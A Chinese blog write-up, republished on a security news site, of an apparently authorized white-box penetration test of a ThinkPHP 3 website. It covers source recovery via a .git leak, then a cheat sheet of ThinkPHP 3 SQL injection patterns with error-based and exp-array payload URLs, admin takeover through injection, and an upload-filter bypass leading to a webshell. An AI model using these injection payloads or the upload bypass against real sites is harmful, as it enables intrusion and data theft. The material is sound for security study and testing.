1. 威客安全首页
  2. 安全资讯

一次基于thinkphp3的白盒的渗透测试

请点击上面 一次基于thinkphp3的白盒的渗透测试 一键关注!

内容来源:Mr.Wu博客 


一、事件起因

一次师兄让我检测一下他们开发的网站是否有漏洞,网站是php开发的,最近一直搞java,正好最近有场CTF要打,就顺便看看php.

一次基于thinkphp3的白盒的渗透测试


二、获取源码

仔细看他给我发的那张图片,360给这个网站53的评分,仔细看网站存在.git文件泄露,直接用Githack拿到源码。
一次基于thinkphp3的白盒的渗透测试


三、确定后台框架

拿到源码后,一看目录就知道是thinkphp框架,再看controller接收参数的函数是I(),确定用的是thinkphp 3的框架。
总结的thinphp 3常见的开发漏洞:


1.where后直接直接拼接会产生注入

$data = M(‘user’)->where(“id=”.I(‘id’))->select();

 

2. table表名函数可控产生注入

M()->table(I(‘biao’))->where(‘1=1’)->select();  

table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))– -a 表名必须存在。

 

3. field函数可控产生注入

M(‘user’)->field(I(‘id’))->where(‘1=1’)->select(); 

//SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控导致注入

 

4. field别名可控存在注入

M(‘user’)->field(array(‘id’,’username’=>I(‘name’)))->select(); 

// SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错

 

5.->(alias|join|union)s*(($|$_|I) 用正则查找 alias|join|union参数可控制

M(‘user’)->field(I(‘id’))->union(‘select 1 from thinkphp_user’)->select();

 

6.order,group,having参数可控

M(‘user’)->where(‘1=1’)->order(array(‘id’=>I(‘orderby’)))->select();

 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc —?orderby=asc

 

7.comment注入

M(‘user’)->comment(I(‘comment’))->where(‘1=1’)->select(); 

SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111

 

8.索引注入

$Model->index(I(‘user’))->select();

 

9.query,execute,聚合函数支持原生的sql语句 

M(‘user’)->count(I(‘par’)); //聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*

 

10.exp注入

a.)

$data = array();

$data[‘user’] = $_POST[‘username’]; 

$data[‘pass’] = md5($_POST[‘password’]);

M(‘user’)->where($data)->find();

payload: username[0]=exp&username[1]=aa’or 1=1%23&password=1

b.)

$res=M(‘member’)->where(array(‘id’=>$_GET[‘userid’]))->count();   

payload:userid[0]=exp&userid[1]=aaaaaa

c.)通过I函数exp注入就不存在了

$res = M(‘member’)->where(array(‘id’=>$I(‘userid’)))->count();

 

11、参数传递注入 publics+functions+[w_]+($

public function index(/*$id*/)….

if(intval($id)>0)

{

 $data = M(‘user’)->where(‘id=’.$id)->select(); //?id=1) 直接绕过判断

 dump($data);

}

 

12.setInc注入

$user = M(“user”);

$user->where(‘id=5’)->setInc(‘sorce’.I(‘num’));

 

13.组合注入

$map[‘id’] = I(‘id’);

$map[‘_string’] = ‘username=’.”‘”.I(‘username’).”‘”; 

$data = M(‘user’)->where($map)->select();

dump(data);

[url]http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti[/url] 

SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username=’afanti’ )

 

14、_query参数可控

$map[‘id’] = 5;

$map[‘_query’]=’username=afanti&score=10′; 

$data = M(‘user’)->where($map)->select();

dump(data);

SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = ‘afanti’ AND `score` = ’10’ )

 

15、模板问题

$name = $_GET[‘name’];

$this->assign($name); 

$this->display(‘index’); //’TMPL_ENGINE_TYPE’ => ‘php’才有效,默认是Think

[url]http://127.0.0.1/tp/index.php/home/user/index?name[/url][_content]=

 

16、在runtime/key.php

S(‘a’,I(‘id’)); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//

在Temp生成文件 生成的文件名字可到cmd5破解


F(‘key’,”); 

$this->display();

 

17.select、find、delete注入

public function test()

    {

       $id = i(‘id’);

       $res = M(‘user’)->find($id);

       //$res = M(‘user’)->delete($id);

       //$res = M(‘user’)->select($id);

    }

注入的payload:

table:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url]


=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–

alias:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–

where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–

delete方法注入payload:

where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–

alias: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–

table: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url]


=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–&id[where]=1


四、Sql注入漏洞

熟悉完框架和整体目录结构后,直接看controller层的代码。全局搜索下是否用原生的php接收参数.
一次基于thinkphp3的白盒的渗透测试

找对应的controller,根据上面总结看是否存在注入。下面只是一处sql注入为例。
Mycourse控制器的listLesson方法$lesson_id参数拼接,进入数据库产生的注入。
获取数据库
一次基于thinkphp3的白盒的渗透测试

获取表,这网站前台注册个账号,发现功能很少。看代码后台功能很多,自然问题也就不少。
获取数据表可以用注入的方式,我们也可以查看model层的代码。

一次基于thinkphp3的白盒的渗透测试

前台注册用户当输入手机和密码就能登陆后台,只要我们获取管理员的就能登陆。
通过注入获取到一个权限是10的账号
一次基于thinkphp3的白盒的渗透测试

查看代码,10为管理员,直接通过注入登陆网站后台
一次基于thinkphp3的白盒的渗透测试


五、上传漏洞

登陆后台后,看下是否存在上传点。发现好多能上传的地方。对应看后台的代码看是否能上传绕过。
发现createLesson这个方法存在问题。
一次基于thinkphp3的白盒的渗透测试

上传操作正常的代码。把后缀限制,上面的代码没有白名单验证。就能够任意文件上传,直接getshell。
一次基于thinkphp3的白盒的渗透测试

尝试上传txt文件,前端bootstrap上传框架显示不让上传图片等文件。
一次基于thinkphp3的白盒的渗透测试

看代码,这里限制了上传后缀.
一次基于thinkphp3的白盒的渗透测试

通过burp绕过限制,上传成功。
一次基于thinkphp3的白盒的渗透测试


六、找上传路径

发现这个网站使用的是阿里云的oss云存储。在服务器上应该存在上传的php文件。这就需要具体看上传代码的存储位置。
一次基于thinkphp3的白盒的渗透测试

具体代码如下,具体跟一下C配置的参加就能获取上传的路径:
一次基于thinkphp3的白盒的渗透测试

最后拿到shell
一次基于thinkphp3的白盒的渗透测试

结语

本想着提个权,师兄把权限设置的比较严格,禁用了好多函数,数据库也不是root用户,能力有限,就这样吧。有空把代码通读一下,上面只是以俩个典型洞为例。
话说当拿到源码时,渗透成功率至少提高5成以上。

一次基于thinkphp3的白盒的渗透测试

「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!

知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。

如何加入:扫描下方二维码,扫码付费即可加入。

加入知识星球的同学,请加我微信,拉您进VIP交流群!

一次基于thinkphp3的白盒的渗透测试

加入群聊

为了【天億网络安全】微信群管理,想进群的朋友先加我好友,我拉你们进群,微信二维码如下:

一次基于thinkphp3的白盒的渗透测试

—THE END—

朋友都在看

▶️公安部 马力 | 网络安全等级保护2.0主要标准介绍

▶️等保2.0-新形势下如何建设等级保护

▶️干货 | 等保2.0新标准介绍

▶️重磅 |等保2.0正式发布,2019年12月1日实施

▶️等保2.0通用部分 | 安全区域边界(三级)测评指导书

天億网络安全

【欢迎收藏分享到朋友圈,让更多朋友了解网络安全,分享也是一种美德!】

一次基于thinkphp3的白盒的渗透测试

↑↑↑长按图片识别二维码关註↑↑↑


欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知识

原文始发于微信公众号(天億网络安全):一次基于thinkphp3的白盒的渗透测试

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

登录后才能评论

联系我们

4006-119-120

在线咨询:点击这里给我发消息

邮件:public@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

X